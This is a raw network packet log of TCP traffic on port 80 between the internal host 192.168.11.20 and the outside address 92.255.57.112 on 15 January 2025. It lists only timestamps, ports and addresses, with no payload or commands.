Jan 15, 2025 10:18:39.354311943 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.354386091 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.354551077 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.354644060 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.354676962 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.354737997 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.354854107 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.354964018 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.355011940 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.355133057 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.355181932 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.355200052 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.355361938 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.355475903 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.355477095 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.355607033 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.355643988 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.355669022 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.355788946 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.355904102 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.355979919 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.355979919 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.356019020 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.356141090 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.356255054 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.356323004 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.356376886 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.356489897 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.356539965 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.356648922 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.356765985 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.356812954 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.356878042 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.356982946 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.357007027 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.357115984 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.357193947 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.357322931 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.357491970 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.437486887 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.437597036 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.437710047 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.437753916 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.437928915 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.438008070 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.438124895 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.438232899 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.438265085 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.438354015 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.438432932 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.438519001 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.438596010 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.438602924 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.438692093 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.438776016 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.438781977 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.438899994 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.438942909 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.439017057 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.439130068 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.439285994 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.439294100 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.439482927 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.439526081 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.439619064 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.439670086 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.439784050 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.439790964 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.439908981 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.439959049 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.440010071 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.440071106 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.440181971 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.440298080 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.440300941 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.440355062 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.440469980 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.440640926 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.482897043 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.482996941 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.483129025 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.483170986 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.483231068 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.483361006 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.483366966 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.483480930 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.483551025 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.483674049 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.483717918 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.483808994 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.483889103 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.484131098 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.484232903 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.484328032 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.484369040 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.484518051 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.484558105 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.484570980 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.484730005 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.484811068 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.484847069 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.485060930 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.485136986 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.485420942 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.485527992 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.485671997 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.485671997 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.485816002 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.485857010 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.485872984 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.485981941 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.486036062 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.486107111 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.486221075 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.486323118 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.486330032 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.486519098 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.486526012 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.486565113 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.486701012 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.486747026 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.486792088 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.486908913 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.487010956 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.487051964 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.487179041 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.487256050 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.487315893 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.487422943 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.487489939 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.487514973 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.487623930 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.487674952 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.487725973 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.487843037 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.487962961 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.488039017 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.488146067 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.488250971 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.488260984 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.488353968 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.488421917 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.488470078 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.488590002 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.488683939 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.488709927 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.488825083 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.488920927 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.488961935 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.489082098 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.489191055 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.489197969 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.489317894 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.489396095 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.489407063 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.489523888 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.489581108 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.489687920 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.489757061 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.489855051 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.489881039 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.489991903 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.490088940 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.490113974 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.490226030 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.490355015 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.490376949 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.490500927 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.490602970 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.490619898 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.490719080 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.490763903 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.490816116 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.490926981 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.491034031 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.491040945 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.491159916 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.491267920 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.491305113 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.491426945 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.491537094 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.491539001 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.491653919 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.491740942 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.491789103 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.491887093 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.491978884 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.491996050 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.492103100 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.492204905 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.492243052 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.492367029 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.492466927 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.492474079 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.492573023 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.492681026 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.492685080 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.492908955 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.586807013 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.586949110 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.587194920 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.587305069 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.587409973 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.587483883 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.587580919 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.587624073 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.587739944 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.587862015 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.587924004 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.587930918 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.588031054 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.588097095 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.588166952 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.588263035 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.588325024 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.588499069 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.588589907 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.588601112 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.588783979 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.588804007 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.588840008 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.589000940 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.589114904 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.589121103 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.589190006 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.589278936 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.589315891 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.589428902 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.589447021 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.589562893 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.589701891 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.589792967 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.589819908 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.589935064 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.589955091 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.590039968 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.590136051 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.590248108 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.590296030 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.590409994 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.590467930 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.590475082 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.590595961 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.590635061 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.590751886 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.590831041 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.590949059 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.590955019 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.591118097 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.591180086 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.591294050 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.591341972 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.591460943 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.591464043 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.591586113 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.591650963 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.591762066 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.591877937 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.592041969 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.592145920 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.592145920 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.592145920 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.592161894 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.592235088 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.592346907 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.592484951 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.592492104 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.592623949 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.592658043 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.592705011 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.592824936 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.592827082 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.592971087 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.593050003 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.593167067 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.593169928 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.593286037 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.593338013 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.593451023 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.593504906 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.593518972 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.593636036 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.593674898 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.593785048 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.593868971 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.593985081 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.594018936 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.594132900 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.594187975 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.594227076 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.594336987 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.594454050 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.594527960 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.594577074 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.594687939 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.594695091 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.594811916 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.594867945 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.594922066 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.595038891 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.595155954 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.595208883 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.595320940 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.595375061 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.595390081 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.595508099 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.595623016 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.595717907 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.595737934 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.595858097 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.595886946 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.595999956 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.596057892 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.596090078 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.596209049 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.596324921 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.596398115 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.596568108 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.699486017 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.699582100 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.699693918 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.699752092 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.699826956 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.699950933 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.700043917 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.700110912 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.700207949 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.700311899 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.700325012 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.700408936 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.700534105 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.700551987 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.700634956 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.700779915 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.700809002 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.700911045 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.700911999 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.701090097 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.701106071 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.701268911 CET	80	49771	92.255.57.112	192.168.11.20
